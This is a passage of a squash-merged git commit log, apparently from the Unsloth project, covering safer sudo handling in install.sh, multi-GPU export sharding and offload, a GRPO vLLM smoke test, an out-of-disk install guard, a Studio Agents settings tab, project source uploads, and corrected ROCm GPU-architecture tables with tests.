is human-readable text that varies by sudo version. Drop the inference. In the
no-terminal branch, run the real commands with `sudo -n`: -n never prompts, so
it cannot block on a closed stdin, and its exit status is the question we were
trying to answer. If it is refused, print the actionable manual command as
before. The terminal branch is unchanged: prompt, then plain sudo, which may
ask for a password because someone is there to type it.
The test stub now models sudo properly (-n refuses and runs nothing when a
password is needed) instead of special-casing the probe's argv.
* install.sh: require a real NOPASSWD rule, and stop blaming the password for apt failures
Two review findings on the headless escalation branch.
A cached authentication timestamp from an earlier, unrelated elevation made
`-n` succeed for a PASSWD-tagged apt-get, so packages installed with nobody
having answered the prompt. Add `-k` so the probe ignores the timestamp and
only a real NOPASSWD rule counts as passwordless. Per sudo(8), `-k` alongside
a command ignores the cached credentials for that invocation and "will not
update the user's cached credentials", so an interactive session elsewhere
does not have to re-authenticate afterwards.
A nonzero status from the elevated apt-get was reported as "likely needs a
password" even when sudo had authenticated fine and apt itself failed on a bad
repository, a dpkg lock or a network outage. sudo returns the command's own
exit status when the command runs, so the two cases are not distinguishable
from the status alone. Report both possibilities and point at the real error.
tests/sh/test_apt_distro_prompt.sh: teach the sudo stub about -k, add a cached
mode, and assert both behaviours. The three new assertions fail against the
previous commit.
* install.sh: an unreadable answer at the consent prompt declines
_can_read_tty proves the device opens, not that anyone is there to answer. A
read that hits EOF still fell back to REPLY=y and escalated, so the branch that
does have a terminal kept the behaviour this change removes from the branch
that does not. A drained or half-closed terminal reached it.
Default to n instead, which is what the post-install autostart prompt at the
bottom of this file already does on the same condition. Enter still means yes:
that is a successful read of an empty line, not a failed read.
tests/sh/test_apt_distro_prompt.sh: add an eof tty fixture, which opens
normally and returns EOF immediately. Both new assertions fail against the
previous commit.
* install.sh: tighten the escalation comments, and correct the exit-status claim
Comment-only. The earlier note said a nonzero status from the elevated apt-get
was not distinguishable from the status alone; sudo(8) is more specific than
that. sudo exits 1 on an authentication or configuration failure and passes the
command's own status through when the command runs, while apt-get(8) returns
100 on error, so the two usually are distinguishable. sudo also exits 1 when
the command cannot be executed, which is why the message still states both
causes rather than naming one.
* install.sh, tests: tighten the comments added by this branch
Comment-only pass over the branch's own comments in both files. Same intent,
fewer lines: drop restatement, keep the parts a reader cannot derive from the
code (why test -r is the wrong probe, why the subshell around the redirection
is load-bearing under dash, what -k buys over -n, and why a nonzero status
does not by itself name the cause).
Verified to touch nothing but comments and blank lines.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* studio: shard export checkpoint loads across all visible GPUs
Export checkpoint loading always used unsloth's from_pretrained default of
device_map="sequential", which stacks the whole model on GPU0. On a multi-GPU
host this OOMs GPU0 while the other GPUs sit empty, so a GGUF export that would
comfortably fit across the machine fails with CUDA out of memory (#7053).
Add _multi_gpu_device_map_kwargs(): when the CUDA/ROCm host exposes more than
one visible GPU and get_device_map resolves to "balanced" (the same policy the
inference loader already uses), pass device_map="balanced" to every
from_pretrained in load_checkpoint. In every other case -- single GPU, CPU,
MLX, or any probe failure -- it returns {} so the loader default is untouched.
Fixes#7053
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio/save: reach the UUID/MIG fallback, release sharded models before quantize
Two review fixes on the multi-GPU export sharding:
1. UUID/MIG CUDA_VISIBLE_DEVICES masks resolve to no numeric ids, so the
len(visible) > 1 gate skipped get_device_map entirely and large exports on
those hosts still stacked onto GPU0. An empty id list now routes to
get_device_map(None), whose visible-count fallback exists for exactly this
case; a genuinely GPU-less host still resolves "sequential" and keeps the
loader default.
2. The compressed (FP8/NVFP4) export freed GPU memory before its llm-compressor
subprocess only for single-device models -- a plain .to("cpu") is invalid on
an accelerate-dispatched model, so a multi-GPU-sharded checkpoint stayed
resident on every GPU while the subprocess loaded a second copy. The release
is factored into _offload_model_for_quantize_subprocess /
_restore_model_after_quantize_subprocess: dispatched all-GPU shards get their
accelerate hooks removed, move to CPU, and are re-dispatched over the
recorded hf_device_map afterwards. Maps with cpu/disk targets (already
offloading) and quantized models are left alone, as before.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio/save: budget merged tensors per device, restore hooks if CPU offload fails
Two review fixes on the multi-GPU export path:
1. The LoRA-merge save path budgeted every merged tensor against GPU0
(get_device_properties(0) + unqualified memory_allocated()). A merged tensor
lives on the GPU of its source layer, so for a model sharded across GPUs
(the device_map="balanced" this PR enables) GPU1+ could OOM as their weights
accumulated while only GPU0's headroom was checked. Budget against W's own
device via a per-device cache; single-GPU behavior is unchanged (W on GPU0).
2. _offload_model_for_quantize_subprocess removed the accelerate hooks and then
moved a dispatched model to CPU; if that move raised (host RAM too small for
the sharded checkpoint) the model was left hookless and half-moved, breaking
later exports in the same worker. It now re-dispatches (or, for the
single-device path, moves back) on a failed move before aborting the offload.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio/save: release sharded models before the torchao reload too
The portable torchao FP8/INT8 export freed the in-memory model only when every
parameter sat on one device, then reloaded a second copy with
device_map="auto". A checkpoint loaded through the new multi-GPU export map is
accelerate-dispatched across several GPUs, so that single-device gate never
fired and the original stayed resident on every GPU during the reload -- an OOM
for exactly the models large enough to have needed the sharded load.
It now uses the same _offload_model_for_quantize_subprocess /
_restore_model_after_quantize_subprocess pair as the compressed export, which
removes the accelerate hooks, moves to CPU, and re-dispatches over the recorded
hf_device_map afterwards. Those helpers are extended to XPU as well, since
torchao also runs on Intel GPUs and the path they replace covered both.
* studio/save: release quantized and cpu-spilled shards before quantize reloads
Two cases the release helper skipped outright, both of which leave GPU memory
held while the compressed subprocess or the torchao device_map="auto" reload
allocates a second copy:
- Quantized models. ExportBackend.load_checkpoint loads 4-bit by DEFAULT, so the
common Studio export hit the is_loaded_in_4bit guard and kept a quantized shard
on every visible GPU. They are now attempted like any other model: transformers
refuses .to() for some bitsandbytes builds, but that refusal raises before
anything moves, so the existing recovery path restores the model and returns
None -- best-effort where the stack allows it, old behaviour where it does not.
- Maps that spill to CPU. Any non-GPU target disqualified the whole model even
though the GPU-mapped modules were still resident and are exactly what needs
reclaiming. A cpu spill is safe to move (those weights are already in host RAM)
and is now released; only disk/meta targets are still skipped, because
accelerate keeps those parameters off the model and moving would try to
materialize the whole checkpoint. An all-CPU map is skipped as a no-op.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix multi-GPU offload for PEFT exports and fall back when sharding OOMs (#7215)
The dispatch branch of _offload_model_for_quantize_subprocess never ran for a
PEFT model: the wrapper proxies _hf_hook, so remove_hook_from_submodules raised
AttributeError and the bare except returned None. Studio always loads adapters,
so the new balanced map turned the offload off (0 percent freed against 91.8 on
the sequential path it replaces).
- resolve the real dispatch root before removing or replaying hooks
- snapshot and replay hooks, tensor placements and instance forwards; a plain
re-dispatch rebuilds hooks against the post-PEFT tree (395 to 1379) and drops
the fused kernels accelerate captured into _old_forward before unsloth patched
- drop the accelerator side of tied_params_map so the offload actually frees
- pass skip_keys on the fallback dispatch_model
- log the swallowed exception instead of returning None silently
- guard _unsloth_save_torchao_with_given_config like its two siblings
- retry the export load once on the loader default when the balanced map OOMs,
which happens when a training or chat job already owns the other GPUs
Measured on 4x B200 with Qwen3-0.6B: 89.9 percent freed bf16 and 79.7 percent
4bit under balanced, logits bit-identical, hooks and placements restored
exactly, 184 Params4bit round-tripped unchanged including nested state2.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the original offloaded until the torchao copy is released, and retie shared weights (#7215)
Two follow-ups from review of 8b6b4ca0b.
_unsloth_save_torchao_with_given_config restored the original inside a finally
that ran as soon as from_pretrained returned, so the original and the quantized
copy were both resident while the copy was still being saved. The restore now
sits in an outer finally that covers saving and releasing quantized_model, which
is what the two sibling paths already do.
The dispatch replay did not preserve tied embeddings. A CPU round trip repoints
every tensor and accelerate's tied_params_map is keyed on the old pointer, so
replaying the hooks produced two independent parameters. Reproduced on a tied
Llama: lm_head picked up its own storage, the embedding was duplicated in VRAM,
and an update to one no longer reached the other. The snapshot now records tied
groups (named_parameters(remove_duplicate=False), since the default hides one
half of every pair) and re-ties them after placements are restored.
Verified: tie preserved, no extra storages, live CUDA storage census identical
before and after, updates propagate again, logits bit-identical, and the 4 GPU
invariants unchanged at 89.9 percent freed bf16 and 79.7 percent 4bit.
* Keep meta tensors out of tie groups, restore accelerate move guards, retry CPU spills (#7215)
Four follow-ups from review of a58f1086b.
Meta tensors all report storage pointer 0, and accelerate parks every
CPU-offloaded parameter on meta, so grouping by pointer collapsed them into one
fake tied group. Reproduced with a balanced map that spills two blocks to CPU:
18 meta parameters in a single group with shapes 64x64, 32x64 and 128x64, which
the retie step would have overwritten with the first one. Meta and null-pointer
tensors are now skipped, and the retie also checks shape.
remove_hook_from_submodules deletes the to/cuda/xpu wrappers dispatch_model
installs to stop a caller moving an offloaded model. The snapshot now records
and replays those alongside forward and _old_forward.
The single-device retry only matched OOM, but a balanced map that spills to CPU
is refused by bitsandbytes with a plain ValueError saying modules were dispatched
to the CPU or the disk (transformers quantizers/quantizer_bnb_4bit.py:128), with
no memory wording. That is now retryable too, which matters because Studio loads
4-bit by default and busy secondary GPUs are exactly when balanced spills.
The torchao path dropped the quantized copy at the end of the try, so a failure
in save_pretrained left it resident while the original was restored. The del
moved into the finally, ahead of the restore.
Four regression tests added; suites now 25 and 9.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Retry exports whose multi-GPU load silently offloads to CPU, and clear the failed torchao traceback (#7215)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments for PR #7215
* Keep gradients across the export offload and release the failed torchao copy (#7215)
* Tighten comments for PR #7215
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Daniel Han <unslothai@gmail.com>
* Add fast fast_inference GRPO smoke test for the vLLM LoRA rollout path
Covers the vLLM >= 0.25.0 LoRA collision path (unsloth#7283, fixed in
unsloth-zoo#919) with all seven attention and MLP projections as LoRA targets so
both fused families (qkv_proj, gate_up_proj) are exercised. Kept tiny: the
ungated unsloth/Qwen2.5-0.5B-Instruct, max_steps=1 (the collision triggers on the
first rollout), short prompts/completions, and enforce_eager=True to skip CUDA
graph capture. Runs in ~89s cold and ~37s on a warm torch.compile cache.
Wrapped as a pytest test that skips without CUDA and still runs as a script; a
length-based reward gives non-zero GRPO advantages; asserts the vLLM engine is
attached at load and still bound on the trainer. Heavy imports are deferred into
the test so CPU-only collection stays import-free.
Co-authored-by: JoshuaL3000 <joshua.jian.ern.liew@intel.com>
* Assert GRPO metrics and pin seed in fast_inference test
Switch to unsloth/Qwen3-0.6B, disable vLLM torch.compile
(compilation_config=0) and run 3 steps so the updated LoRA adapter is
re-synced into vLLM on every step, not just loaded once.
Pin GRPOConfig(seed=...), which TRL forwards to vLLM SamplingParams, so
the run is reproducible, and assert per-step metrics (loss, grad_norm,
completion length, reward, reward spread, kl) instead of only checking
that train() returned. Verified across seeds 42/123/2024/7.
* Correct the seed comment and drop the pytest return
GRPOConfig(seed=...) does not reach vLLM SamplingParams: TRL's
generation_kwargs carries no seed key. Reproducibility comes from the
Trainer's set_seed pinning the global RNG the colocated sampler draws
from, so describe that instead.
Returning a value from a test triggers PytestReturnNotNoneWarning, which
pytest intends to make an error; the value was unused.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* guard llama.cpp prebuilt against out-of-disk instead of doomed source build
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address review comments on out-of-disk guard
* keep reusable installs and Windows parity in the out-of-disk guard
* preserve the ENOSPC cause when re-raising fallback errors
* catch out-of-disk before the attempt loop and accept all llama-server layouts
* Fix out-of-disk detection gaps and false positives for PR #7420
Follow-ups found while testing the guard against a real ENOSPC (LD_PRELOAD
shim returning errno 28 under a path prefix, real network, real release):
- hydrate_source_tree retried the next mirror after an ENOSPC and only raised
on the last URL. Both source fallbacks 404 for the published mix commit, so
the reported cause was HTTP 404 and the run fell through to the source build
exactly like before the guard. Stop at the first environment-fatal error.
- The 5 GB preflight rejected hosts that install fine. A full CUDA install
peaks at 0.87 GB, the largest published bundle is 0.77 GB and macOS is
0.01 GB, so at 3 GB free the install succeeded before and exited 4 after,
with the source-build fallback suppressed too. It is now advisory, and a
real ENOSPC still exits 4. This also drops the case where an install
matching an older release plan was rejected before its reuse check.
- ENOSPC raised inside shutil.copytree arrives as shutil.Error with errno
None and no __cause__ or __context__, so it was never classified. That path
covers the hydrated source tree, the runtime overlay and the activation
fallback copy.
- _causal_chain followed __context__ even when __suppress_context__ was set,
so `raise ... from None` over an unrelated ENOSPC reported disk full and
wrongly suppressed the source build.
- TemporaryDirectory now ignores cleanup errors: an rmtree failure on the way
out replaced the in-flight SystemExit and lost EXIT_NO_SPACE.
- setup.sh skips the arm64 CPU last resort after exit 4; it re-ran the same
disk-rejected installer and buried the hint under a second error dump.
- The in-app updater turns exit 4 into a readable message instead of
"installer exited 4" plus a log tail.
Adds tests/studio/install/test_llama_prebuilt_no_space.py covering the
classifier, the advisory warning and the exit codes.
* Fix Python 3.9 breakage and Windows disk-full detection in the out-of-disk guard
Found by running the guard across the whole supported interpreter range
(requires-python is >=3.9,<3.15) and a spoofed [Linux, WSL, macOS, Windows] x
[NVIDIA, AMD, CPU] host matrix.
- TemporaryDirectory(ignore_cleanup_errors = True) is 3.10+, so the previous
commit raised TypeError at install time on 3.9 and turned a working install
into a hard failure. Replaced with a scratch_dir() contextmanager built on
mkdtemp plus rmtree(ignore_errors = True), which behaves the same on every
supported version.
- getattr(exc, "winerror", None) crashed on 3.9. urllib's HTTPError is an
OSError that proxies unknown attributes to a wrapped file object and raises
KeyError, which getattr does not swallow, so any mirror 404 during an install
would have blown up inside the classifier. Read it defensively instead.
- Classify Windows disk-full by winerror as well as errno. CPython's
PC/errmap.h maps ERROR_DISK_FULL (112) to ENOSPC but has no case for
ERROR_HANDLE_DISK_FULL (39), which arrives as EINVAL, so a Windows
os.replace() onto a full disk read as an ordinary failure and fell through to
the source build.
Tests cover both winerror codes, a non-disk winerror, and HTTPError alone and
wrapped in a PrebuiltFallback. 116 simulation cases pass on 3.9 through 3.14.
* Classify quota, flattened Windows and validate-install out-of-disk for PR #7420
- EDQUOT counts as out of space: a quota'd home has free blocks this user
cannot have, so the source build is just as doomed. Reported separately so
df does not mislead. Confirmed end to end with a real kernel EDQUOT: the
installer went from 6 retries then a source build (exit 2) to exit 4.
- Match the flattened Windows disk-full text. copytree stringifies each
per-file OSError, and OSError.__str__ returns early on winerror, so the
text reads [WinError 112] and never [Errno 28]. Captured on a real NTFS
volume. Markers are bracketed so WinError 112 does not match WinError 1120.
- --validate-install now exits 4 on a full disk. It caught PrebuiltFallback
and exited 2 before the classifier ran, and setup.sh answered 2 by deleting
the GPU build that had just succeeded and starting a CPU rebuild that needs
more of the space that ran out. Both halves are needed: the call site only
tested nonzero.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in the llama.cpp out-of-disk guard
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Add Agents settings tab for unsloth start
Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.
Also removes the "New" badge from the System and Chat tabs.
* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode
Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.
* Title Agents tab "Agents (unsloth start)" and move it below Connections
The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.
* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet
- Only probe agent PATH in the desktop app on a loopback backend, so
Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.
* Use client OS for remote commands, fix copy a11y and model wording (#7303)
- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model
* Agents tab: flag the Codex row when the loaded model is not GGUF
* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms
* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder
* Agents tab: index the intro for agent-name searches and keep long commands inside the panel
* Agents tab: omit --api-key so the CLI can replay a saved key for the base
* Agents tab: label the indexed heading rows and fall back to the active desktop API base
* Agents tab: name every supported agent in the indexed intro for PR #7303
* Tighten the agents tab comments for PR #7303
* Build the agents tab example commands from the active Studio base for PR #7303
* Take the agent command shell from the Studio host for PR #7303
* Pick the command shell from where the CLI runs for PR #7303
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Settings: match dialog fills to the app shell surfaces
Tabs use the sidebar fill and the content pane uses the page fill, so
both track the active palette in light and dark.
* Pair the tab column fill with the sidebar foreground
Custom themes set --foreground but not --sidebar, so search result rows
could land white on white. Track the sidebar token instead.
* feat(studio): add drag and drop sources to create project
Files dropped on the create-project dialog upload to the new project's
sources as soon as it exists, so a project can start with context instead
of needing a second trip to the Sources tab.
The sidebar and projects page dialogs now reuse NewProjectDialog rather
than each keeping their own copy, and the OCR / caption ingest overrides
move to a shared helper so every upload path sends the same settings.
* fix(studio): harden project source drops
Drops are not filtered by the `accept` attribute the way the picker is, so a
folder or an image would stage and then fail server-side with a confusing
per-file error. Unsupported entries are now refused up front with one message.
Cancel bypassed the dialog's reset, so a discarded name and its staged files
came back on reopen and uploaded into the next project created. Every close
path now goes through one handler.
Long filenames lost their extension in _sanitize_filename and were then
rejected as an unsupported type; the stem is trimmed instead. Adds backend
tests for the project scope, the sanitizer and path stripping.
* fix(studio): address second review pass on source drops
A drop landing on the panel while uploads run was not cancelled, because
pointer-events-none took the panel out of hit testing and nothing else on the
page cancels a file drop. The browser would navigate to the file and kill the
uploads in flight. Drag defaults are now cancelled even while disabled, and the
files are ignored instead.
Name, size and mtime can match for two genuinely different files, so a skipped
duplicate now says so rather than disappearing.
A slow upload could resolve after the dialog unmounted and still navigate,
pulling the user off the page they had moved to. Post-upload work is gated on
the component still being mounted.
* fix(studio): make source drops safe under StrictMode replay
The mount sentinel was only cleared in effect cleanup, so StrictMode's
setup/cleanup/setup replay left it false for good and every create in a dev
build stopped short of closing the dialog or navigating. It is now set on
setup as well.
The pending-sources marker was consumed inside a useState initializer, which
React replays, so the discarded pass ate the flag and the project opened on
Chats. Reading is now a peek and the marker is dropped in an effect.
Identical bytes under two names collapse to one document server-side, which
looked like both files had been added. The upload loop now tracks returned
document ids and says when files were merged.
* fix(studio): guard the route and storage around staged uploads
The sidebar's dialog lives in the root layout and never unmounts on a route
change, so the mount check alone could not stop a slow upload from navigating
the user back to the new project. The route is captured when create is pressed
and compared afterwards, and callers get that answer so the sidebar can still
move a chat while leaving the user where they are.
Reading the vision-pass overrides went straight at localStorage, which throws
outright where storage is blocked. That happened before the upload loop, so a
project was created and every staged source was lost. It now falls back to the
backend defaults, matching loadOptionalBool in the chat runtime store.
* fix(studio): support hostname-based enterprise proxies
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): strip userinfo from proxy fetch targets
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* ROCm/AMD CI coverage: arch-table parity, native-Linux lib prepend, RDNA4 grouped_mm, discovery-based shell suite
Three merged ROCm fixes shipped without tests, and the CI wiring that
would have run them was gated on files the fixes do not touch.
Tests added (113):
tests/studio/install/test_rocm_arch_table_parity.py (27)
diffs the four duplicated gfx -> AMD pip-index tables across
install.sh, install.ps1, studio/setup.ps1 and install_python_stack.py,
plus the GPU-name -> arch tables and the torch 2.11 pin allowlist.
tests/studio/install/test_rocm_native_linux_lib_dirs.py (26)
covers #7233: system-ROCm lib dirs prepended ahead of bundled
libggml-hip, the /dev/kfd + not-WSL + libhsa gate, the opt-out env
var, root resolution order, and source parity between the two copies.
studio/backend/tests/test_grouped_mm_rdna4_fallback.py (46)
covers #7292: registration on the CUDA dispatch key, grouped and
ungrouped numerics, bias/dtype promotion, and the Linux HIP<7.13 +
RDNA4 name gate, executed from the shipped source rather than a copy.
tests/studio/test_ci_shell_suite_coverage.py (14)
fails if either shell runner goes back to a hardcoded list or skips
a file without a recorded reason.
CI wiring:
studio-backend-ci.yml: add install.sh / install.ps1 to the path filter
(the suites it runs assert against those two files, so install-only
changes -- the shape most AMD/ROCm routing fixes take -- skipped it),
and replace the 13-file hardcoded shell list with directory
discovery. That list had fallen seven files behind, including
test_strixhalo_wsl_reroute.sh, the only shell coverage of the ROCm
WSL reroute, which had never run on a PR.
tests/run_all.sh: same discovery loop so local and CI agree.
* Test review fixes: assert on outcomes, not on the code under test
Self-review of the previous commit found four tests that passed for the
wrong reason.
1. The arch-table parity test pinned expected gfx ids copied out of the
shipped tables, which enshrined three upstream inaccuracies as
correct: RX 9070 (non-XT) is gfx1201 not gfx1200, RX 7800 XT is
gfx1101 not gfx1100, and PRO V710 is gfx1101 not gfx1102 per AMD's
ROCm compatibility matrix. The expectation is now the AMD pip index
leaf -- the thing the tables exist to produce, and what a wrong
answer costs the user. The three known drifts are listed explicitly
with a test asserting they stay cosmetic, i.e. that the wrong and
right ids still map to the same wheel index. That test turns red the
day one of them starts routing users to the wrong wheel.
2. The RDNA4 device-name test extracted the regex from worker.py and
then matched with it, so it could not fail. Widening the pattern --
the dangerous edit, since it forces the slow Python mm fallback onto
RDNA3 users -- would have been silently accepted. It now reads the
live pattern and checks it against fixed cases, plus asserts the
name match stays guarded by `not _lin_arch` and that the name is
lowercased before matching.
3. The CI-coverage test matched a verbatim line of studio-backend-ci.yml,
so reindenting the step would fail the build while a real regression
to a hardcoded list could slip past a reformat. It now parses the
YAML, finds the step by name, and asserts on the glob plus the
absence of individual filenames. The path-filter test likewise reads
the parsed trigger instead of scanning raw text.
4. A set comprehension in the parity helper had a ternary whose branches
were identical.
Mutation-tested: widening the RDNA4 regex, desyncing one copy of the
name table, dropping install.sh from the path filter, and re-skipping
the ROCm WSL shell suite each fail at least two tests. Verified on
Linux (WSL Ubuntu 24.04) with CI's torch pin: 86 + 48 pass.
* Fix three wrong gfx ids in the GPU-name arch tables
The name -> gfx tables disagreed with AMD's ROCm compatibility matrix on
three entries. Corrected against the "Radeon GPU" list at
rocm.docs.amd.com/en/latest/compatibility/compatibility-matrix.html:
RX 9070, RX 9070 GRE gfx1200 -> gfx1201 (Navi 48, same die as the XT)
RX 7800 XT, RX 7700 XT gfx1100 -> gfx1101 (Navi 32, not Navi 31)
PRO W7700 gfx1100 -> gfx1101
PRO V710 gfx1102 -> gfx1101 (Navi 32, not Navi 33)
No wheel changes for anyone: gfx1200/gfx1201 both resolve to gfx120X-all
and gfx1100/gfx1101/gfx1102 all resolve to gfx110X-all, in all four copies
of the index-family map. That collapse is why the errors survived being
copied into six places -- the leaf-level tests could not see them.
It was not purely cosmetic, though. install.sh's second copy feeds
"Tip: set UNSLOTH_ROCM_GFX_ARCH=<arch>", so a 7800 XT user following the
printed advice exported gfx1100 and made a wrong id authoritative for
every later run. It would also have become a real misroute the moment AMD
split a family across index leaves, as they already do for gfx1151/gfx1150.
Fixed in all six places, which is two more than the table's own "kept in
sync with" comments claim exist:
install.sh _infer_amd_gfx_arch_from_gpu_name
install.sh case "$_gpu_disp_mkt" (banner + env tip; undocumented)
studio/setup.sh
install.ps1
studio/setup.ps1
studio/install_python_stack.py
Ordering is preserved: the gfx1102 arm still precedes gfx1101 in the shell
copies so "RX 7700S" cannot fall onto the "RX 7700" glob, and the
PowerShell copies keep the (?!S) lookahead.
Test changes:
- test_rocm_arch_table_parity.py gains _AMD_DOCUMENTED_ARCH, exact gfx
ids transcribed from AMD rather than from the tables. Agreement between
six copies proves nothing when all six were transcribed from the same
mistake, so the ground truth has to come from outside. Verified it
catches the bug: against the pre-fix tables it fails 6 tests.
- The parity check now covers all six copies. It had four; the two
install.sh copies were being treated as one, and
_WIN_GPU_NAME_ARCH_TABLE was not checked at all.
- test_rocm_support.py's TestGfxArchNameFallback pinned two of the wrong
ids as expected values; updated, and extended with a 9060 XT and a
7900 XTX case so each RDNA3/4 die is represented.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard against unregistered copies of the GPU-name arch table
Counting the copies by hand is what let them drift: the in-code "kept in
sync with" comments claimed four, the arch-id fix found six, and scanning
the tree turns up a seventh.
TestNoUnregisteredArchTable rediscovers the copies from the source tree
instead of trusting a hand-maintained list. A table line is one that names
a card and gives its arch; real tables score 9-17 such lines and the only
other hits in the repo are two single-line prose comments, so the
three-line threshold is not load-bearing. A companion test asserts the
scan still finds the known copies, so the heuristic cannot go blind and
pass by finding nothing.
The seventh copy is tests/_zoo_rocm_spoof.py, the fixture other ROCm tests
build their fake AMD host from. It states the mapping backwards (gfx ->
the name torch should report), which makes it an independent witness: it
had gfx1101 -> RX 7800 XT and gfx1201 -> RX 9070 XT right while all six
installer copies were wrong, and nothing compared the two. Now they are
round-tripped against each other.
RX 6700 XT is pinned as a known divergence rather than normalised. AMD's
compatibility matrix documents no consumer RX 6000 card and no gfx1031 at
all, the installer arm is commented "gfx103X family", and gfx1031 appears
only as an index-family key, never as a value a name table emits. With no
external source to correct against, changing shipped behaviour would be
guesswork. A test fails if the divergence ever disappears, so the
exemption cannot go stale.
Also adds the reverse of the AMD-matrix check: a documented card that
matches no arm anywhere is a silent CPU fallback rather than a wrong id.
This cannot detect hardware nobody transcribed, which would need a live
fetch of AMD's matrix and a non-hermetic suite; the docstring says so
rather than implying coverage that is not there.
Verified on Linux: 478 passed, plus all five new guards mutation-tested
to confirm each fails when its invariant is broken.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Docstring said six copies; the list under it now has seven
* tests: run discovered shell tests with bash, not sh
tests/run_all.sh discovered tests/sh/ instead of listing files, but still
invoked each one with sh. Every file there declares a bash shebang, and on
Debian/Ubuntu /bin/sh is dash: test_apt_distro_prompt.sh,
test_studio_home_node_dir.sh and test_with_llama_cpp_dir_link_behavior.sh
fail on bashisms under dash and pass under bash. The old hand-written list
happened to name only dash-clean files, so switching to discovery is what
surfaced it. Backend CI already used bash, so this was a local-only break.
Guarded by a new test asserting both runners invoke tests/sh/ with bash.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Krackan Point (Radeon 860M/840M) routed to the gfx1150 wheel index
The GPU-name tables map 860M/840M and the Ryzen AI 7 350 / AI 5 340 CPU
strings to gfx1150, but Krackan Point is gfx1152. AMD's own lemonade table
(src/cpp/server/system_info.cpp) maps both Krackan iGPUs to gfx1152.
Unlike the three ids already fixed here, this one is not wheel-neutral:
repo.amd.com publishes gfx1150 and gfx1152 as separate index leaves with
separately built torch wheels, so these laptops were installing wheels
built for a different LLVM target. gfx1152 was absent from the codebase
entirely, so it needed the index-family maps, the torch 2.11 floor lists
(same _grouped_mm bug as gfx1150/1151), the Strix reroute set and the
Windows arch allowlist as well as the seven name tables.
The parity test added in this PR did not catch it because its AMD-matrix
expectations stopped at 890M/880M. Added the APU rows, so the case that
actually changes a wheel is now covered: reverting the tables fails 9
tests naming 860M, 840M and Krackan.
gfx1153 (Ryzen AI 5 430 era) is left alone; AMD publishes no gfx1153
wheel family, so there is nothing to route it to.
Verified: bash -n on both shell installers, PowerShell AST parse on both
.ps1 files, python ast.parse on all touched modules, install suite 1334
passed with no new failures against main, shell suite 20 files.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add gfx1152 to unified-memory classifiers, make parity allowlist set-based
Krackan Point (gfx1152, Radeon 860M/840M) is the third RDNA 3.5 APU and
shares one GPU/system-RAM pool exactly like Strix Point (gfx1150) and
Strix Halo (gfx1151), but only the installers knew about it. The two
runtime classifiers still had two-element arch sets, so a Krackan laptop
got the 0.90 discrete headroom factor on a shared pool and ran llama.cpp
without GGML_CUDA_ENABLE_UNIFIED_MEMORY.
- worker.py _rocm_classify_unified_memory: add gfx1152 to the arch set,
and 860m/840m to the device-name fallback. The NVIDIA GeForce 840M
cannot collide there: the function is only reached under _hw.IS_ROCM.
- llama_cpp.py _amd_apu_wants_unified_memory: add gfx1152 to the arch set.
- Tests for both, including the :sramecc-:xnack- suffix form.
TestGfx211AllowlistParity compared four hardcoded allowlist strings, so
adding gfx1152 to all four installers correctly turned three assertions
red without any installer actually disagreeing with another. Each test
now extracts the set its installer holds and compares it to one EXPECTED
constant. Order and spacing are free, membership is not, and the next
leaf is a one-line edit instead of four.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
